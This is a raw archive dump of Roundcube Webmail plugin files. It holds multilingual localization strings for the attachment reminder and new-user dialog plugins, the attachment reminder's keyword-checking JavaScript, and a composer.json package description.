$messages['keywords'] = "Додаток, датотека, прикачени, прикалува, затворен, ЦВ, мотивационо писмо";
PKh�\�Y��dd2plugins/attachment_reminder/localization/kn_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "ನೀವು ಫೈಲ್ ಅಟ್ಯಾಚ್ ಮಾಡಲು ಮರೆತಿರುವಿರಾ?";
PKh�\��==2plugins/attachment_reminder/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "តើអ្នក​ភ្លេច​ភ្ជាប់​ឯកសារ​ឬ?";
$messages['reminderoption'] = "រំលឹង​អំពី​ឯកសារ​ភ្ជាប់​ដែល​បាន​ភ្លេច";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter";
PKh�\���II2plugins/attachment_reminder/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Та файл хавсаргахаа мартсан уу?";
$messages['reminderoption'] = "Мартсан хавсралтуудыг сануулах";
$messages['keywords'] = "хавсралт,файл,хавсралт,хавсаргагдсан,хавсаргаж байна,хасваргасан,анкет,танилцуулга";
PKh�\�!�2plugins/attachment_reminder/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "האם חסרה צרופה?";
$messages['forgotattachment'] = "האם שכחת לצרף קובץ?";
$messages['reminderoption'] = "להזכיר לצרף נספח";
$messages['keywords'] = "נספח,קובץ,לצרף,מצורף,מצרף,מצרפת,רצ\"ב,קו\"ח,קורות חיים";
PKh�\��Z�2plugins/attachment_reminder/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "An bhfuil ceangaltán in easnamh?";
$messages['forgotattachment'] = "Ar dhearmad tú comhad a cheangal leis?";
$messages['reminderoption'] = "Cuimhneachán faoi cheangaltán dearmadta";
$messages['keywords'] = "ceangaltán,comhad,ceangail,ceangailte,ag ceangail,iniata,CV,litir chumhdaigh";
PKh�\Ea��2plugins/attachment_reminder/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Mangler vedhæftet fil?";
$messages['forgotattachment'] = "Glemte du at vedhæfte en fil?";
$messages['reminderoption'] = "Påmind om glemt vedhæftning af filer";
$messages['keywords'] = "vedhæftet fil,fil,vedhæft,vedhæftet,vedhæfter,lukket,CV,følgebrev";
PKh�\� q�2plugins/attachment_reminder/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Ste pozabili na priponko?";
$messages['forgotattachment'] = "Ste pozabili pripeti datoteko?";
$messages['reminderoption'] = "Opozorilo za dodajanje priponk";
$messages['keywords'] = "priponka,datoteka,pripeti,pripeta,pripenjati,priložen,priložiti,CV,spremno pismo";
PKh�\ʐ���/plugins/attachment_reminder/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "هل نسيت ملفا للإرفاق ؟";
$messages['forgotattachment'] = "هل نسيت إرفاق ملف ؟";
$messages['reminderoption'] = "التذكير إن كنت تود إرسال مرفقات";
PKh�\qܕ(2plugins/attachment_reminder/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Fehlender Anhang?";
$messages['forgotattachment'] = "Haben Sie möglicherweise vergessen, eine Datei anzuhängen?";
$messages['reminderoption'] = "An vergessene Anhänge erinnern";
$messages['keywords'] = "anbei,im anhang,siehe anhang,angehängt,angefügt,beigefügt,beiliegend";
PKh�\�����2plugins/attachment_reminder/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Saknas bilaga?";
$messages['forgotattachment'] = "Glömde du att bifoga en fil?";
$messages['reminderoption'] = "Påminn om glömda bilagor";
$messages['keywords'] = "bilaga,fil,bifoga,bifogad,bifogar,infogad,CV,personligt brev";
PKh�\y����/plugins/attachment_reminder/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "قىستۇرما چۈشۈپ قالدىمۇ؟";
$messages['forgotattachment'] = "سىز ھۆججەت قىستۇرۇشنى ئۇنتۇپ قالدىڭىزمۇ؟";
$messages['reminderoption'] = "ئۇنتۇلغان قىستۇرمىلارنى ئەسكەرتىش";
$messages['keywords'] = "قىستۇرما، ھۆججەت، قىستۇرۇش، قىستۇرۇلدى، قىستۇرۋاتىدۇ، ئۆز-ئىچىگە ئېلىندى، تەرجىمال، تۇنۇشتۇرۇش";
PKh�\��??2plugins/attachment_reminder/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "첨부파일을 잊으셨나요?";
$messages['forgotattachment'] = "파일을 첨부하는 것을 잊으셨습니까?";
$messages['reminderoption'] = "잊었던 첨부파일 추가에 대해 알림";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter,첨부,파일,동봉,이력서";
PKh�\��9���2plugins/attachment_reminder/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Esqueceches adxuntar un ficheiro?";
$messages['reminderoption'] = "Lembrete de adxuntos esquecidos";
$messages['keywords'] = "anexo, arquivo, engadir, anexo, anexando, pechado, CV, carta de presentación";
PKh�\�\aww2plugins/attachment_reminder/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Allegato mancante?";
$messages['forgotattachment'] = "Sembra che tu abbia dimenticato di allegare un file!\nPremere Annulla per inviare lo stesso.\nOK per tornare al messaggio senza inviare.";
$messages['reminderoption'] = "Ricorda per gli allegati dimenticati";
$messages['keywords'] = "allegato,allegati,allegata,allegate,allega,allego,alleghi,attaccato,file,attachment,attach";
PKh�\7��2plugins/attachment_reminder/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "¿Falta archivo?";
$messages['forgotattachment'] = "¿Olvidó adjuntar un fichero al mensaje?";
$messages['reminderoption'] = "Recordatorio sobre adjuntos olvidados";
$messages['keywords'] = "adjunto, archivo, adjuntar, unido, adjuntando, cerrado, CV, carta de presentación";
PKh�\H�7�2plugins/attachment_reminder/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "താങ്കൾ ഒരു ഫയൽ ചേർക്കാൻ മറന്നുപോയി";
$messages['reminderoption'] = "ചേർക്കാൻ മറന്നുപോയ ഫയലുകളെ പറ്റി ഓർമ്മപ്പെടുത്തുക";
PKh�\G�2plugins/attachment_reminder/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Bijlage ontbreekt?";
$messages['forgotattachment'] = "Bent u vergeten het bestand bij te voegen?";
$messages['reminderoption'] = "Herinner mij aan vergeten bijlagen";
$messages['keywords'] = "attachment,bestand,bijgaand,bijgaande,brief,bijgevoegd,bijgesloten,CV,document,bijgesloten";
PKh�\�W��**2plugins/attachment_reminder/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Atodiad ar goll?";
$messages['forgotattachment'] = "Wedi anghofio atodi ffeil?";
$messages['reminderoption'] = "Atgoffa am atodiadau ar goll";
$messages['keywords'] = "atodiad,atodi,atodaf,atodwyd,atodir,amgaedig,dogfen,llythyr,ffeil,attachment,file,attach,attached,attaching,enclosed,CV,cover letter,";
PKh�\�M���2plugins/attachment_reminder/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Missing attachment?";
$messages['forgotattachment'] = "Did you forget to attach a file?";
$messages['reminderoption'] = "Remind about forgotten attachments";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter";
PKh�\D���2plugins/attachment_reminder/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Manglar viðheft?";
$messages['forgotattachment'] = "Gloymdi tú at viðhefta ein fíl?";
$messages['reminderoption'] = "Áminn um gloymdar viðheftingar";
$messages['keywords'] = "viðhefting,fílur,heft,viðheft,heftir,lagt inní,CV,fylgi skriv";
PKh�\z����2plugins/attachment_reminder/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Trūksta priedo?";
$messages['forgotattachment'] = "Ar nepamiršote prisegti priedo?";
$messages['reminderoption'] = "Priminti apie neprisegtus priedus";
$messages['keywords'] = "priedas, byla, prisegti, prisegta, prisegama, uždaras, CV, laiškas";
PKh�\]3�&772plugins/attachment_reminder/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Falta anexo?";
$messages['forgotattachment'] = "Mencionou ficheiros ou anexos mas não tem anexos na mensagem. Pretende anexar um ficheiro?";
$messages['reminderoption'] = "Lembrar sobre anexos esquecidos";
$messages['keywords'] = "anexo,ficheiro,anexar,anexado,a anexar,em anexo,currículo,carta de apresentação";
PKh�\���g��2plugins/attachment_reminder/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Ανύπαρκτο συνημμένο;";
$messages['forgotattachment'] = "Μήπως ξεχάσετε να επισυνάψετε αρχείο; ";
$messages['reminderoption'] = "Υπενθύμιση για συνημμένα";
$messages['keywords'] = "συνημμένο, αρχείο, επισύναψη, συνημμένο, επισυνάπτοντας, εσωκλείοντας, βιογραφικό σημείωμα, συνοδευτική επιστολή";
PKh�\C�~X�	�	2plugins/attachment_reminder/attachment_reminder.jsnu�[���/**
 * Attachment Reminder plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

function rcmail_get_compose_message()
{
  var msg = rcmail.editor.get_content({ nosig: true });

  if (rcmail.editor.is_html()) {
    // Remove quoted content, all HTML tags, and some entities
    msg = msg.replace(/<blockquote[^>]*>(.|[\r\n])*<\/blockquote>/gmi, '')
             .replace(/<[^>]+>/gm, ' ')
             .replace(/&nbsp;/g, ' ');
  }
  else {
    // Remove quoted content
    msg = msg.replace(/^>.*$/gmi, '');
  }

  return msg;
};

function rcmail_check_message(msg)
{
  var i, rx, keywords = rcmail.get_label('keywords', 'attachment_reminder').split(",").concat([".doc", ".pdf"]);

  keywords = $.map(keywords, function(n) { return RegExp.escape(n); });
  rx = new RegExp('(' + keywords.join('|') + ')', 'i');

  return msg.search(rx) != -1;
};

function rcmail_have_attachments()
{
  return rcmail.env.attachments && $('li', rcmail.gui_objects.attachmentlist).length;
};

function rcmail_attachment_reminder_dialog()
{
  var buttons = {};

  buttons[rcmail.get_label('addattachment')] = function() {
    $(this).remove();
    $('#messagetoolbar a.attach, .toolbar a.attach').first().click();
  };
  buttons[rcmail.get_label('send')] = function(e) {
    $(this).remove();
    rcmail.env.attachment_reminder = true;
    rcmail.command('send', '', e);
  };

  rcmail.env.attachment_reminder = false;
  rcmail.show_popup_dialog(
    rcmail.get_label('attachment_reminder.forgotattachment'),
    rcmail.get_label('attachment_reminder.missingattachment'),
    buttons,
    {button_classes: ['mainaction attach', 'send']}
  );
};


if (window.rcmail) {
  rcmail.addEventListener('beforesend', function(evt) {
    var msg = rcmail_get_compose_message(),
      subject = $('#compose-subject').val();

    if (!rcmail.env.attachment_reminder && !rcmail_have_attachments()
      && (rcmail_check_message(msg) || rcmail_check_message(subject))
    ) {
      rcmail_attachment_reminder_dialog();
      return false;
    }
  });
}
PKh�\/`z��%plugins/new_user_dialog/composer.jsonnu�[���{
    "name": "roundcube/new_user_dialog",
    "type": "roundcube-plugin",
    "description": "When a new user is created, this plugin checks the default identity and sets a session flag in case it is incomplete. An overlay box will appear on the screen until the user has reviewed/completed his identity.",
    "license": "GPL-3.0-or-later",
    "version": "2.4",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\Z�A#��.plugins/new_user_dialog/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = '请填写发送人身份';
$labels['identitydialoghint'] = '本提示仅在第一次登录时显示。';
PKh�\ݾ��%%.plugins/new_user_dialog/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Калі ласка, запоўніце тоеснасць адпраўніка';
$labels['identitydialoghint'] = 'Гэтае акно з\'яўляецца толькі аднойчы, у час першага ўваходу.';
PKh�\�wk;;.plugins/new_user_dialog/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Моля попълнете данни за Вашата самоличност като подател';
$labels['identitydialoghint'] = 'Този диалог се появява само при първоначално регистриране.';
PKh�\�r���.plugins/new_user_dialog/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels = [];
$labels['identitydialogtitle'] = 'Please complete your sender identity';
$labels['identitydialoghint'] = 'This box only appears once at the first login.';
PKh�\��v��.plugins/new_user_dialog/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Täydennä lähettäjätietosi';
$labels['identitydialoghint'] = 'Tämä kohta näkyy vain ensimmäisellä kirjautumiskerralla.';
PKh�\�X�Z��.plugins/new_user_dialog/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Vennligst fullfør din avvsender identitet.';
$labels['identitydialoghint'] = 'Denne boksen kommer kun ved første pålogging.';
PKh�\WT��.plugins/new_user_dialog/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Ju lutemi, plotësoni identitetin tuaj si dërgues';
$labels['identitydialoghint'] = 'Kjo kuti shfaqet vetëm një herë gjatë hyrjes së parë.';
PKh�\z���.plugins/new_user_dialog/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Palun täida oma saatja identiteet';
$labels['identitydialoghint'] = 'See kast ilmub ainult esmasel sisselogimisel.';
PKh�\�C<.plugins/new_user_dialog/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'تکایە ناسنامەی نێرەری خۆت تەواوبکە';
$labels['identitydialoghint'] = 'ئەم خانەیە تەنها لە یەکەم چوونەژوورەوە دەردەکەوێت.';
PKh�\�%���.plugins/new_user_dialog/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Osatu zure bidaltzaile-identitatea';
$labels['identitydialoghint'] = 'Kutxa hau behin bakarri agertzen da lehenengoz sartzean.';
PKh�\�!?Q��.plugins/new_user_dialog/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Lütfen gönderici kimliğinizi tamamlayın';
$labels['identitydialoghint'] = 'Bu ekran oturum ilk kez açıldığında bir kere görüntülenir.';
PKh�\�
'���.plugins/new_user_dialog/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Por favor, seleccione una identidad para los mensajes salientes';
$labels['identitydialoghint'] = 'Este diálogo aparecerá sólo una vez durante el primer ingreso';
PKh�\�ۺ�+plugins/new_user_dialog/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'tkaya nawnişani nenar ba tawawi bnwsa';
$labels['identitydialoghint'] = 'am qtwia wadiara yak jar la sarata krawatawa';
